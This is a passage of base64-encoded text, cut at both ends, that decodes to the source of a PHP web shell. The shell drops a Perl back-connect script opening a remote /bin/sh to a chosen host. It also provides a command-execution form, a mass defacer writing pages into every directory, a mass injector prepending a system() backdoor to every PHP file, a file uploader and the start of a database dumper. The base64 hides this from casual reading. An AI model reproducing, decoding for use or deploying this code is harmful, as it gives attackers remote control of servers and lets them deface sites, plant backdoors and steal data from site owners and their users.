dWJtVmpkQ0JDWVdOcklFSmhZMnRrYjI5eVhHNWNiaUk3RFFvZ0lDQWdJQ0JwWmlBb0lTUkJVa2RXV3pCZEtTQjdEUW9nSUNBZ0lDQWdJSEJ5YVc1MFppQWlWWE5oWjJVNklDUXdJRnRJYjNOMFhTQThVRzl5ZEQ1Y2JpSTdEUW9nSUNBZ0lDQWdJR1Y0YVhRb01TazdEUW9nSUNBZ0lDQjlEUW9nSUNBZ0lDQndjbWx1ZENBaVd5cGRJRVIxYlhCcGJtY2dRWEpuZFcxbGJuUnpYRzRpT3cwS0lDQWdJQ0FnSkdodmMzUWdQU0FrUVZKSFZsc3dYVHNOQ2lBZ0lDQWdJQ1J3YjNKMElEMGdPREE3RFFvZ0lDQWdJQ0JwWmlBb0pFRlNSMVpiTVYwcElIc05DaUFnSUNBZ0lDQWdKSEJ2Y25RZ1BTQWtRVkpIVmxzeFhUc05DaUFnSUNBZ0lIME5DaUFnSUNBZ0lIQnlhVzUwSUNKYktsMGdRMjl1Ym1WamRHbHVaeTR1TGx4dUlqc05DaUFnSUNBZ0lDUndjbTkwYnlBOUlHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU0I4ZkNCa2FXVW9JbFZ1YTI1dmQyNGdVSEp2ZEc5amIyeGNiaUlwT3cwS0lDQWdJQ0FnYzI5amEyVjBLRk5GVWxaRlVpd2dVRVpmU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUNSd2NtOTBieWtnZkh3Z1pHbGxJQ2dpVTI5amEyVjBJRVZ5Y205eVhHNGlLVHNOQ2lBZ0lDQWdJRzE1SUNSMFlYSm5aWFFnUFNCcGJtVjBYMkYwYjI0b0pHaHZjM1FwT3cwS0lDQWdJQ0FnYVdZZ0tDRmpiMjV1WldOMEtGTkZVbFpGVWl3Z2NHRmpheUFpVTI1Qk5IZzRJaXdnTWl3Z0pIQnZjblFzSUNSMFlYSm5aWFFwS1NCN0RRb2dJQ0FnSUNBZ0lHUnBaU2dpVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1JjYmlJcE93MEtJQ0FnSUNBZ2ZRMEtJQ0FnSUNBZ2NISnBiblFnSWxzcVhTQlRjR0YzYm1sdVp5QlRhR1ZzYkZ4dUlqc05DaUFnSUNBZ0lHbG1JQ2doWm05eWF5Z2dLU2tnZXcwS0lDQWdJQ0FnSUNCdmNHVnVLRk5VUkVsT0xDSStKbE5GVWxaRlVpSXBPdzBLSUNBZ0lDQWdJQ0J2Y0dWdUtGTlVSRTlWVkN3aVBpWlRSVkpXUlZJaUtUc05DaUFnSUNBZ0lDQWdiM0JsYmloVFZFUkZVbElzSWo0bVUwVlNWa1ZTSWlrN0RRb2dJQ0FnSUNBZ0lHVjRaV01nZXljdlltbHVMM05vSjMwZ0p5MWlZWE5vSnlBdUlDSmNNQ0lnZUNBME93MEtJQ0FnSUNBZ0lDQmxlR2wwS0RBcE93MEtJQ0FnSUNBZ2ZRMEtJQ0FnSUNBZ2NISnBiblFnSWxzcVhTQkVZWFJoWTJobFpGeHVYRzRpT3c9PSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlID0gZm9wZW4oImRjLnBsIiwgIncrIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3cml0ZSA9IGZ3cml0ZSgkZmlsZSwgYmFzZTY0X2RlY29kZSgkbmV0Y2F0c2hlbGwpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmaWxlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2htb2QoImRjLnBsIiwgMDc1NSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxpZnJhbWUgc3JjPWFuMG5fY2dpL2l6by5jaW4gd2lkdGg9JzEwMCUnIGhlaWdodD0nMzYwJyBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydleGVjJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+PGNlbnRlcj48YnI+PHNwYW4gY2xhc3M9ImRlZiI+Q29tbWFuZHM6PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgcm93cz0iOCIgY29scz0iNzAiIG5hbWU9ImNvbW1hbmQiIHBsYWNlaG9sZGVyPSJDb21tYW5kcyBIZXJlIj48L3RleHRhcmVhPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iRXhlY3V0ZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2NvbW1hbmQnXSkgJiYgaXNzZXQoJF9QT1NUWydzdWJtaXQnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBleGVjdXRlKCRpbikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZXhlYygkaW4sJG91dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9IEBqb2luKCJcbiIsJG91dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHBhc3N0aHJ1KCRpbik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9IG9iX2dldF9jbGVhbigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAc3lzdGVtKCRpbik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9IG9iX2dldF9jbGVhbigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgPSBzaGVsbF9leGVjKCRpbik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZWlmKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSghQGZlb2YoJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0IC49IGZyZWFkKCRmLDEwMjQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBjbG9zZSgkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJG91dDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kcyA9ICRfUE9TVFsnY29tbWFuZCddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBAZXhlY3V0ZSgkY29tbWFuZHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxicj48dGV4dGFyZWEgcm93cz0iOCIgY29scz0iNzAiPicuJHJlc3VsdC4nPC90ZXh0YXJlYT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnZGVmYWNlciddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGZvbnQgc3R5bGU9ImZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDE3MCU7IGNvbG9yOiByZWQ7Ij5BbjBuIE1hc3MgRGVmYWNlciA8L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBFTkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiIgbWV0aG9kPVBPU1Qgb25TdWJtaXQ9ImcobnVsbCxudWxsLHRoaXMucGF0aC52YWx1ZSx0aGlzLmZpbGUudmFsdWUsdGhpcy5Db250ZW50cy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4gY2xhc3M9ImRlZiI+Rm9sZGVyOjwvc3Bhbj4gPGJyPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXRoIiBzaXplPSI2MCIgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0Y3dkKCk7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxzcGFuIGNsYXNzPSJkZWYiPkZpbGUgbmFtZTo8L3NwYW4+IDxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgc2l6ZT0iMjAiIHZhbHVlPSJ0ZXJ4Lmh0bWwiPjxicj48c3BhbiBjbGFzcz0iZGVmIj5Db250ZW50Ojwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPiA8dGV4dGFyZWEgdHlwZT0ndGV4dCcgbmFtZT0nQ29udGVudHMnIGNvbHM9IjYwIiByb3dzPSI4IiBwbGFjZWhvbGRlcj0iRGVmYWNlIFBhZ2UgSGVyZSA6KSI+PC90ZXh0YXJlYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPSJzdWJtaXQiIHZhbHVlPSJEZWZhY2Ugbm93Ij48L3A+PC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydwYXRoJ10pICYmICFlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkgJiYgIWVtcHR5KCRfUE9TVFsnQ29udGVudHMnXSkgJiYgaXNzZXQoJF9QT1NUWydzdWJtaXQnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWFpbnBhdGggPSAkX1BPU1RbInBhdGgiXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9ICRfUE9TVFsiZmlsZSJdOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0eHRDb250ZW50cyA9ICRfUE9TVFsiQ29udGVudHMiXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlyID0gb3BlbmRpcigkbWFpbnBhdGgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gcmVhZGRpcigkZGlyKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdGFydCA9IEBmb3BlbigiJHJvdy8kZmlsZSIsICJ3KyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2RlID0gJHR4dENvbnRlbnRzOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaW5pc2ggPSBAZndyaXRlKCRzdGFydCwgJGNvZGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmluaXNoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4gY2xhc3M9J2RlZic+aHR0cDovLyRyb3cvJGZpbGU8L3NwYW4+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnbWFzc19pbmplY3RvciddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pjxicj48Y2VudGVyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImNvbG9yOiB0ZWFsOyBmb250LWZhbWlseTogY3Vyc2l2ZTsgZm9udC1zaXplOiAyMDAlOyI+UmVWIE1hc3MgQ29kZSBJbmplY3RvciBWMi4wPC9mb250Pjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbnNvbGUgPSAnDQo8P3BocA0KaWYgKGlzc2V0KCRfUkVRVUVTVFtjbWRdKSkgew0Kc3lzdGVtICgkX1JFUVVFU1RbY21kXSk7DQp9DQo/Pic7DQogICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgdHlwZT0idGV4dCIgbmFtZT0iY29kZSIgcm93cz0iMTMiIGNvbHM9IjgwIiBwbGFjZWhvbGRlcj0iRW50ZXIgWW91ciBDb2RlIExpa2UgVGhpcyA6IDw/cGhwIGVjaG8gJGNvbnNvbGU7ID8+Ij48L3RleHRhcmVhPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0iZm9udC1mYW1pbHk6IENvbWljIFNhbnMgTXM7IGZvbnQtc2l6ZTogOTAlOyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiIC8+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29kZSA9ICRfUE9TVFsnY29kZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2RlMSA9IGJhc2U2NF9lbmNvZGUoJGNvZGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhvc3QgPSAnaHR0cDovLycuJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX29mX2ZpbGUgPSAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkd2Vic2l0ZV90ZXN0aW5nID0gJGhvc3QuJHBhdGhfb2ZfZmlsZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkaXJlY3RvcnkgPSAkcGF0aDsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkY29kZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IHNpemU9XCc1MCVcJyBmYWNlPVwnY3Vyc2l2ZVwnIGNvbG9yPVwncmVkXCc+WW91IG5lZWQgdG8gaW5wdXQgc29tZXRoaW5nICEhISA6UDwvZm9udD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJGNvZGUpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCRkaXJlY3RvcnkpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxzcGFuIHN0eWxlPSJjb2xvcjogcmVkOyBmb250LWZhbWlseTogY3Vyc2l2ZTsgZm9udC1zaXplOiAxMTAlOyI+Jy4nV2Vic2l0ZTogJy4kd2Vic2l0ZV90ZXN0aW5nLic8YnI+PGJyPjwvc3Bhbj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8c3BhbiBzdHlsZT0iY29sb3I6IHRlYWw7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDExMCU7Ij5Mb29raW5nIGluICcuJGRpcmVjdG9yeS4nPGJyPjwvc3Bhbj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJGZpbGVzID0gcmVhZGRpcigkaGFuZGxlKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZXMgIT0gJy4nICYmICRmaWxlcyAhPSAnLi4nICYmICRmaWxlcyAhPSAncmV2LnBocCcgJiYgJGZpbGVzICE9ICdSRVYucGhwJyAmJiAkZmlsZXMgIT0gJy5odGFjY2VzcycgJiYgJGZpbGVzICE9ICdwaHAuaW5pJyAmJiAkZmlsZXMgIT0gJ2FkbWluJyAmJiAkZmlsZXMgIT0gJ2ltYWdlcycgJiYgJGZpbGVzICE9ICdpbWFnZScgJiYgJGZpbGVzICE9ICdpbWcnICYmICRmaWxlcyAhPSAncGhwbXlhZG1pbicgJiYgJGZpbGVzICE9ICdmaWxlcycgJiYgJGZpbGVzICE9ICcuZnRwcXVvdGEnICYmICRmaWxlcyAhPSAnLmVycm9yX2xvZycgJiYgc3RydG9sb3dlcihzdWJzdHIoJGZpbGVzLCBzdHJycG9zKCRmaWxlcywgJy4nKSArIDEpKSA9PSAncGhwJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxhIHN0eWxlPSJjb2xvcjogcmVkOyBmb250LWZhbWlseTogY3Vyc2l2ZTsiIHRhcmdldD0iX2JsYW5rIiBocmVmPSInLiRmaWxlcy4nIj4nLiRmaWxlcy4nPC9hPjxmb250IHNpemU9IiIgY29sb3I9Imxhd25ncmVlbiIgZmFjZT0iY3Vyc2l2ZSI+Jm5ic3A7Jm5ic3A7Jm5ic3AmbmJzcDtJcyBJbmplY3RlZDwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlX2RhdGEgPSBiYXNlNjRfZGVjb2RlKCRjb2RlMSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVfZGF0YSAuPSBmaWxlX2dldF9jb250ZW50cygkZmlsZXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlcywgJGZpbGVfZGF0YSk7IGVjaG8gJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsndXBsb2FkZXInXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzdHlsZT0iY29sb3I6IGxhd25ncmVlbjsgZm9udC1mYW1pbHk6IGN1cnNpdmU7IGZvbnQtc2l6ZTogMjUwJTsiPlRlcm11eEhhY2t6IFVwbG9hZGVyPC9mb250Pjxicj48YnI+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJmb250LXNpemU6IDkwJTsiIHR5cGU9ImZpbGUiIG5hbWU9ImZpbGVzIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9ImZvbnQtc2l6ZTogOTAlOyIgdHlwZT1zdWJtaXQgdmFsdWU9IlVwbG9hZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVzID0gQCRfRklMRVNbImZpbGVzIl07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZXNbIm5hbWUiXSAhPSAnJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxwYXRoID0gJF9SRVFVRVNUWyJwYXRoIl0gLiAkZmlsZXNbIm5hbWUiXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJGZpbGVzWyd0bXBfbmFtZSddLCAkZnVsbHBhdGgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48YnI+PGJyPjxmb250IHN0eWxlPSdjb2xvcjogcmVkOyBmb250LWZhbWlseTogY3Vyc2l2ZTsgZm9udC1zaXplOiAyMDAlOyc+PGEgaHJlZj0nJGZ1bGxwYXRoJyB0YXJnZXQ9J19ibGFuayc+Q2xpY2sgdG8gYWNjZXNzIHVwbG9hZGVkIEZpbGU8L2E+PC9mb250PjwvY2VudGVyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnZHVtcF9kYiddKSkgew0KICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48Zm9udCBzdHlsZT0iY29sb3I6IHllbGxvdzsgZm9udC1mYW1pbHk6IGN1cnNpdmU7IGZvbnQtc2l6ZTogMjAwJTsiPkR1bXAgU1FMIERhdGFiYXNlPC9mb250PjxkaXYgY2xhc3M9ImNvbnRlbnQiPjxicj4NCiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiIvPg0KICAgICAgICAgICAgICAgICAgIC